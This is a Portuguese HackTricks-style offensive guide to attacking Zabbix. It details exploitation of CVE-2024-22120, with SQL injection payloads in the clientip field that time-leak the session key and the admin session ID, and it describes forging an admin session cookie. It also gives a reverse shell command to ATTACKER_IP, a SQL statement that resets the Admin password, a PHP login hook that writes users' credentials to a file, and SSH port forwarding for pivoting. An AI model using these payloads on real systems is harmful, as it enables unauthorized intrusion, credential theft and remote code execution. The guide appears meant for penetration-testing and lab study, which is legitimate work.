Segurança do Zabbix
Reading time: 7 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
Visão geral
Zabbix é uma plataforma de monitoramento que expõe uma web UI (tipicamente atrás de Apache/Nginx) e um componente server que também fala o protocolo Zabbix em TCP/10051 (server/trapper) e agent em TCP/10050. Durante testes você pode encontrar:
- Web UI: virtual host HTTP(S) como zabbix.example.tld
 - Zabbix server port: 10051/tcp (JSON over a ZBXD header framing)
 - Zabbix agent port: 10050/tcp
 
Formato útil de cookie: zbx_session é Base64 de um objeto JSON compacto que inclui ao menos sessionid, serverCheckResult, serverCheckTime e sign. O sign é um HMAC do payload JSON.
Estrutura interna do cookie zbx_session
Versões recentes do Zabbix computam o cookie assim:
- data JSON: {"sessionid":"<32-hex>","serverCheckResult":true,"serverCheckTime":<unix_ts>}
 - sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
 - Final cookie: Base64(JSON_with_sign)
 
Se você conseguir recuperar o session_key global e um sessionid admin válido, pode forjar um cookie Admin válido offline e autenticar na UI.
CVE-2024-22120 — Time-based blind SQLi no log de auditoria do Zabbix Server
Affected versions (as publicly documented):
- 6.0.0–6.0.27, 6.4.0–6.4.12, 7.0.0alpha1
 
Resumo da vulnerabilidade:
- Quando uma execução de Script é registrada no log de auditoria do Zabbix Server, o campo clientip não é sanitizado e é concatenado em SQL, permitindo Time-based blind SQLi via o componente server.
 - Isso é explorável enviando uma request "command" crafteda para o Zabbix server port 10051 com um sessionid válido de baixa-privilegio, um hostid que o usuário consiga acessar e um scriptid permitido.
 
Pré-requisitos e dicas de descoberta:
- sessionid: A partir de guest/login na web UI, decodifique zbx_session (Base64) para obter o sessionid.
 - hostid: Observe via requisições da web UI (ex., Monitoring → Hosts) ou intercepte com um proxy; o padrão comum é 10084.
 - scriptid: Apenas scripts permitidos ao papel/role atual serão executados; verifique inspecionando o script menu/AJAX responses. Defaults como 1 ou 2 frequentemente são permitidos; 3 pode ser negado.
 
Fluxo de exploração
- Disparar inserção de auditoria com SQLi no clientip
 
- Conecte-se em TCP/10051 e envie uma mensagem emoldurada Zabbix com request="command" incluindo sid, hostid, scriptid, e clientip definido para uma expressão SQL que será concatenada pelo server e avaliada.
 
Minimal message (JSON body) fields:
{
"request": "command",
"sid": "<low-priv-sessionid>",
"scriptid": "1",
"clientip": "' + (SQL_PAYLOAD) + '",
"hostid": "10084"
}
O formato completo do wire é: "ZBXD\x01" + comprimento little-endian de 8 bytes + JSON em UTF-8. Você pode usar pwntools ou seu próprio código de socket para montá-lo.
- Time-bruteforce secrets via conditional sleep
 
Use expressões condicionais para leak hex-encoded secrets 1 char at a time medindo o tempo de resposta. Exemplos que funcionaram na prática:
- Leak global session_key from config:
 
(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
- Leak Admin session_id (userid=1) de sessions:
 
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
Notas:
- charset: 32 hex chars [0-9a-f]
 - Escolha T_TRUE >> T_FALSE (por exemplo, 10 vs 1) e meça o wall-clock por tentativa
 - Garanta que seu scriptid esteja realmente autorizado para o usuário; caso contrário nenhuma linha de auditoria será produzida e a medição de tempo não funcionará
 
- Forjar cookie Admin
 
Uma vez que você tenha:
- session_key: 32-hex de config.session_key
 - admin_sessionid: 32-hex de sessions.sessionid para userid=1
 
Calcule:
- sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
 - zbx_session = Base64(JSON_with_sign)
 
Defina o cookie zbx_session para esse valor e faça GET /zabbix.php?action=dashboard.view para validar o acesso Admin.
Ferramentas prontas
- PoC público automatiza: bruteforce de session_key e admin sessionid, e forjamento do cookie; requer pwntools e requests.
 - Parâmetros a fornecer normalmente incluem: --ip (FQDN da UI), --port 10051, --sid (low-priv), --hostid, e opcionalmente um --admin-sid conhecido para pular o brute.
 
RCE via Script execution (pós-Admin)
Com acesso Admin na UI, você pode executar Scripts predefinidos contra hosts monitorados. Se agents/hosts executarem comandos de script localmente, isso resulta em execução de código nesses sistemas (frequentemente como o usuário zabbix em hosts Linux):
- Checagem rápida: execute id para confirmar o contexto do usuário
 - Exemplo de Reverse shell:
 
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'
TTY upgrade (Linux):
script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset
Se você tiver acesso ao DB, uma alternativa a forjar um cookie é redefinir a senha do Admin para o bcrypt documentado para "zabbix":
UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';
Captura de credenciais via login hook (post-exploitation)
Se for possível gravar arquivos no servidor da interface web, você pode adicionar temporariamente um trecho de logging em /usr/share/zabbix/index.php, ao redor do ramo de login baseado em formulário, para capturar credenciais:
// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
$user = $_POST['name'] ?? '??';
$password = $_POST['password'] ?? '??';
$f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}
Os usuários se autenticam normalmente; leia /dev/shm/creds.txt em seguida. Remova o hook quando terminar.
Pivoting para serviços internos
Mesmo se o shell da conta de serviço for /usr/sbin/nologin, adicionar uma entrada SSH authorized_keys e usar -N -L permite local port-forwarding para serviços acessíveis apenas via loopback (por exemplo, CI/CD em 8111):
ssh -i key user@host -N -L 8111:127.0.0.1:8111
Veja mais tunneling patterns em: Confira Tunneling and Port Forwarding.
Dicas operacionais
- Valide que scriptid é permitido para a role atual (guest pode ter um conjunto limitado)
 - Timing brute pode ser lento; armazene em cache o admin sessionid recuperado e reutilize-o
 - O JSON enviado para 10051 deve ser encapsulado com o cabeçalho ZBXD\x01 e um comprimento little-endian
 
Referências
- HTB Watcher — Zabbix CVE-2024-22120 to Admin/RCE and TeamCity root pivot
 - CVE-2024-22120-RCE toolkit (PoC scripts)
 
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks